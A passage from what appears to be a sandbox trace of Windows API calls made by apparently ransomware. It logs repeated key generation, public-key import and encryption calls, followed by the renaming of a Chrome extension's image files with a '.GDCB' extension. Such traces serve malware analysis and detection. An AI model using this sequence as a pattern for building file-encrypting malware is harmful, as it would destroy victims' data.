phKey=0x285cd20*=0x66ae878) returned 1 [0241.082] CryptGetKeyParam (in: hKey=0x66ae878, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.082] CryptEncrypt (in: hKey=0x66ae878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xab10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xab10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0241.082] GetLastError () returned 0x0 [0241.082] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.083] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0241.084] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xab20000 [0241.087] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xab30000 [0241.089] ReadFile (in: hFile=0x470, lpBuffer=0xab30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xab30000*, lpNumberOfBytesRead=0x285ced8*=0x112dc, lpOverlapped=0x0) returned 1 [0241.135] VirtualAlloc (lpAddress=0x0, dwSize=0x112e0, flAllocationType=0x3000, flProtect=0x4) returned 0xac40000 [0241.143] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif.gdcb")) returned 0 [0241.144] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0241.147] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.149] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.149] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0241.149] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.149] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0241.151] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.153] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.153] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0241.153] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.153] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0241.156] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66aee38) returned 1 [0241.156] CryptGetKeyParam (in: hKey=0x66aee38, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.156] CryptEncrypt (in: hKey=0x66aee38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xab00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xab00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0241.156] GetLastError () returned 0x0 [0241.156] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.156] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0241.158] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66aeab8) returned 1 [0241.158] CryptGetKeyParam (in: hKey=0x66aeab8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.158] CryptEncrypt (in: hKey=0x66aeab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xab10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xab10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0241.158] GetLastError () returned 0x0 [0241.158] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.158] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.161] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0241.163] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.165] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.165] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0241.165] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.165] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0241.168] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.169] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.169] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0241.169] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.170] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0241.172] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66aeeb8) returned 1 [0241.172] CryptGetKeyParam (in: hKey=0x66aeeb8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.172] CryptEncrypt (in: hKey=0x66aeeb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xab20000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xab20000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0241.172] GetLastError () returned 0x0 [0241.172] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.172] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0241.174] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66af038) returned 1 [0241.174] CryptGetKeyParam (in: hKey=0x66af038, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.174] CryptEncrypt (in: hKey=0x66af038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xab30000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xab30000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0241.174] GetLastError () returned 0x0 [0241.174] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.174] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0241.175] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xab40000 [0241.178] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xab50000 [0241.181] ReadFile (in: hFile=0x470, lpBuffer=0xab50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xab50000*, lpNumberOfBytesRead=0x285ced8*=0x22c, lpOverlapped=0x0) returned 1 [0241.191] VirtualAlloc (lpAddress=0x0, dwSize=0x230, flAllocationType=0x3000, flProtect=0x4) returned 0xac60000 [0241.258] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.gdcb")) returned 0 [0241.259] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0241.262] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.267] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.267] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0241.267] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.267] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0241.269] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.271] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.271] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0241.271] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.272] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0241.274] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66aea38) returned 1 [0241.274] CryptGetKeyParam (in: hKey=0x66aea38, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.274] CryptEncrypt (in: hKey=0x66aea38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xab20000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xab20000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0241.274] GetLastError () returned 0x0 [0241.274] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.274] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0241.276] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66ae8b8) returned 1 [0241.276] CryptGetKeyParam (in: hKey=0x66ae8b8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.276] CryptEncrypt (in: hKey=0x66ae8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xab30000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xab30000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0241.277] GetLastError () returned 0x0 [0241.277] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.277] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.277] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0241.280] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.296] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.297] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0241.297] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.297] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0241.299] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.301] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.301] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0241.301] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.302] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0241.304] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66ae9b8) returned 1 [0241.304] CryptGetKeyParam (in: hKey=0x66ae9b8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.304] CryptEncrypt (in: hKey=0x66ae9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xab40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xab40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0241.304] GetLastError () returned 0x0 [0241.304] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.304] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0241.306] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66ae9f8) returned 1 [0241.306] CryptGetKeyParam (in: hKey=0x66ae9f8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.306] CryptEncrypt (in: hKey=0x66ae9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xab50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xab50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0241.306] GetLastError () returned 0x0 [0241.306] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.307] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.307] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0241.310] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.311] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.311] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0241.311] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.312] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0241.314] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.315] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.315] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0241.315] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.316] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0241.318] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66aea78) returned 1 [0241.318] CryptGetKeyParam (in: hKey=0x66aea78, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.318] CryptEncrypt (in: hKey=0x66aea78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xab60000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xab60000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0241.318] GetLastError () returned 0x0 [0241.318] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.318] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0241.320] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66af338) returned 1 [0241.320] CryptGetKeyParam (in: hKey=0x66af338, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.320] CryptEncrypt (in: hKey=0x66af338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xab70000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xab70000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0241.320] GetLastError () returned 0x0 [0241.320] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0241.320] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.320] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0241.323] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.325] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.325] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0241.325] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.325] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0241.327] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0241.329] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0241.329] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0241.329] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.329] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0241.331] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66af438) returned 1 [0241.331] CryptGetKeyParam (in: hKey=0x66af438, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.332] CryptEncrypt (in: hKey=0x66af438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xab80000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xab80000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0241.332] GetLastError () returned 0x0 [0241.332] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0241.332] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0241.333] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66af678) returned 1 [0241.333] CryptGetKeyParam (in: hKey=0x66af678, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0241.333] CryptEncrypt (in: hKey=0x66af678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xab90000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xab90000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0241.334] GetLastError () returned 0x0 [0241.334] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0241.334] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application 